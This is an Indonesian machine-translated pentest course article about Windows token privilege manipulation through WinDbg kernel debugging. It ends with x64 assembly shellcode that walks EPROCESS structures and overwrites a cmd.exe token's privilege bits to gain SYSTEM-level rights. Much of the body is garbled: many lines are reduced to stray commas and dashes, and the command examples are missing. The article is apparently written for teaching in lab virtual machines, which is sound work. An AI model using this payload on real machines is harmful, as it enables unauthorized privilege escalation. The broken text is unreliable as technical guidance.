Pakar OTUS Alexander Kolesnikov berbagi dengan kami artikel bermanfaat, yang dia tulis khusus untuk siswa kursus "Pentest. Penetration Testing Practice" .
Kami, pada gilirannya, mengundang semua orang untuk mengambil bagian dalam pelajaran demo gratis tentang topik: "Kumpulan informasi Windows AD, peningkatan hak istimewa. Eksploitasi dan kerentanan dalam 5 tahun terakhir."
Artikel sebelumnya membahas bagaimana eksploitasi menggunakan teknik salinan token untuk meningkatkan hak istimewa. Pada artikel ini, kami akan mencoba mempertimbangkan teknik lain untuk memodifikasi token, dan juga mencoba mencari tahu bagaimana hak istimewa yang ditempatkan di Token Utama diatur.
Semua contoh dalam artikel hanya untuk tujuan informasi, dan jika Anda ingin mengulangi eksperimen, gunakan mesin virtual, karena beberapa tindakan dapat merusak mesin yang berfungsi. Semua eksperimen dilakukan hanya untuk tujuan penelitian.
Uji pengaturan bangku
Untuk percobaan, cocok untuk beberapa mesin virtual yang bekerja melalui jaringan NAT. Dua karena tidak ada cara lain untuk melakukan debugging kernel pada sistem operasi. Dan jaringan NAT, sehingga ada simbol debug, lebih mudah dan cepat untuk mencari data tanpa kode sumber. Pengaturan debugger tersedia di Internet, tetapi masih di bawah ini akan ada beberapa baris seperti yang dilakukan untuk sistem operasi Windows 10 1909.
1. Pasang debugger. Untuk sistem operasi Windows, hanya ada Windbg Preview, instal:
2. Kami mentransfer sistem operasi target ke mode debug:
Kami me-reboot sistem. Dan buka mesin kedua, yang akan berisi debugger:
Setelah me-reboot sistem:
Windbg Preview , . . .
Token
, , , Primary Token. , Se* . , , :
SeAssignPrimaryToken
SeAudit
SeBackup
SeChangeNotify
SeCreateToken
SeDebug
SeLoadDriver
SeLockMemory
SeManageVolume
SeRestore
SeSecurity
SeTakeOwnership
, , . , “Security Descriptor”:
System. — dx @$cursession.Processes[4].KernelObject.Token
EXFAST_REF , , :
System:
, “Security Descriptor” , . :
, , :
- , BSOD. Windows , Windows 10 1607. , BSOD, “Security Descriptor” . , :
BSOD? , . , :
1. , :
2. cmd.exe
:
3. . :
, . - , - Integrity Levels , .
? . , : 0x1
BSOD , , . , , . , - — 0x100000
.
:
SeDebugPrivilege - 0x100000
SeAuditPrivilege - 0x200000
SeSystemEnvironmentPrivilege - 0x400000
SeCreatePermanentPrivilege - 0x010000
SeSystemtimePrivilege - 0x001000
SeSecurityPrivilege - 0x000100
SeLockMemoryPrivilege - 0x000010
, 6 . , , shellcode, , , . SEPTOKEN_PRIVILEGES _SEPTOKENPRIVILEGES+0x8.
— System , , .
netstat -ab
, . ? . , Windows , System , :
, , payload :
[BITS 64]
start:
mov r9, [gs:0x188] ;KPROCESS/currentThread
mov r9, [r9+0x220] ;EPROCESS KTHREAD
mov r8, [r9+0x3e8] ;InheritedFromUniqueProcessId (cmd.exe PID)
mov rax, r9
loop1:
mov rax, [rax + 0x2f0]
sub rax, 0x2f0 ;KPROCESS
cmp [rax + 0x2e8],r8 ; ProcessId
jne loop1
mov rcx, rax ; PID EPROCESS
add rcx, 0x360
mov rax, [rcx]
and rax, 0xFFFFFFFFFFFFFFF0
mov r8, 0x1e73deff20 ;System
mov [rax+0x48],r8 ;
ret